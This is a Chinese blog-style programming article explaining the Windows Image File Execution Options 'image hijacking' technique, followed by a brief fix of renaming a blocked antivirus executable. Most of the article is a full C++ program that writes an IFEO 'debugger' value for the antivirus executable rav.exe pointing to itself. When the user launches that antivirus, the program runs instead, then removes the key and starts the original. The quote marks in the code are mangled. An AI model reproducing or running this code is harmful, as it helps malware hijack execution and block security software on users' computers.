设为首页 加入收藏

TOP

VC++编程实现镜像劫持
2012-11-02 08:52:40 】 浏览:1005
Tags:编程 实现 劫持

  所谓的镜像劫持,就是在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options]处新建一个以杀毒软件主程序命名的项,例如Rav.exe.然后再创建一个子键“Debugger=”C:\WINDOWS\system32\drivers\“.以后只要用户双击 Rav.exe就会运行OSO的病毒文件,类似文件关联的效果。
  
  镜像劫持的简单解决方法
  
  如果电脑上有杀毒软件或360什么的但是中了镜像劫持是安全软件无法运行的话,
  
  其实只需要更改一下安全软件的名字就能不被镜像劫持利用,个人认为这是最适合初学者的最简单办法。
  
  首先找到安全软件的位置大部分都放在program files文件夹下。 找到名字例如拿360做例子原文件路径X:\Program Files\360safe原名为360Safe.exe 你把名字改为36015safe.exe(名字什么都行不过就不能是安全软件的名字)然后双击此安全软件就会过镜像劫持开始运行,后面的查杀就不需要说什么了吧。这小操作可以解决燃眉之急啦。
  
  [cpp] view plaincopyprint #include ”stdafx.h“
  
  #include <stdio.h>
  
  #include <windows.h>
  
  int main(int argc, char* argv[])
  
  {
  
  char temp[256];
  
  DWORD ret;
  
  LPCTSTR szRegKey=”SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options“; //定义字符串指针,保存映像劫持的键位
  
  HKEY h_KEY;
  
  if(argc!=1)   //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径
  
  {
  
  memset(temp,0,256);
  
  strcpy(temp,argv[1]);
  
  for(int i=0;i<strlen(temp);i++)    //将路径中的\换为/,也可以换为\\,就是代码长了点
  
  {
  
  if(temp[i]=='\\‘)
  
  temp[i]='/';
  
  }
  
  ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄
  
  if(ret==ERROR_SUCCESS)
  
  {
  
  printf(”open ok!\n“);
  
  if(ERROR_SUCCESS==RegDeleteKey(h_KEY,”rav.exe“)) //将上面打开的子键下的rav子键删除
  
  {
  
  printf(”delete ok!\n“);
  
  RegCloseKey(h_KEY);
  
  WinExec(temp,SW_SHOW);    //运行被劫持的程序
  
  }
  
  else
  
  {
  
  printf(”delete failed!\n“);
  
  RegCloseKey(h_KEY);
  
  }
  
  }
  
  else
  
  printf(”open failed!\n“);
  
  }
  
  memset(temp,0,256);
  
  GetModuleFileName(NULL,temp,256);   //得到程序自己的路径,为下面写入注册表做准备
  
  HKEY hResultKey = NULL;
  
  if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  //打开注册表中映像劫持的子键,获得句柄
  
  {
  
  DWORD dw;
  
  ret = RegCreateKeyEx(h_KEY,”rav.exe“, 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  //在上面打开的子键下创建rav子键并打开,获得句柄
  
  if (ret!=ERROR_SUCCESS)
  
  {
  
  RegCloseKey(h_KEY);
  
  printf(”creat failed!\n“);
  
  return 1;
  
  }
  
  printf(”creat ok!\n“);
  
  ret=RegSetValueEx(hResultKey,”debugger“,0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);   //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持
  
  if(ret!=ERROR_SUCCESS)
  
  {
  
  RegCloseKey(h_KEY);
  
  RegCloseKey(hResultKey);
  
  return 1;
  
  }
  
  RegCloseKey(h_KEY);
  
  RegCloseKey(hResultKey);
  
  printf(”set ok!\n“);
  
  }
  
  MessageBox(NULL,”ok!“,”成功!“,MB_OK);    //用于测试程序,可以监视
  
  return 0;
  
  }
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇C++中的多态、重载、覆盖与隐藏 下一篇基础动画显示游戏循环的使用

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容:

最新文章

热门文章

C 语言

C++基础

windows编程基础

linux编程基础

C/C++面试题目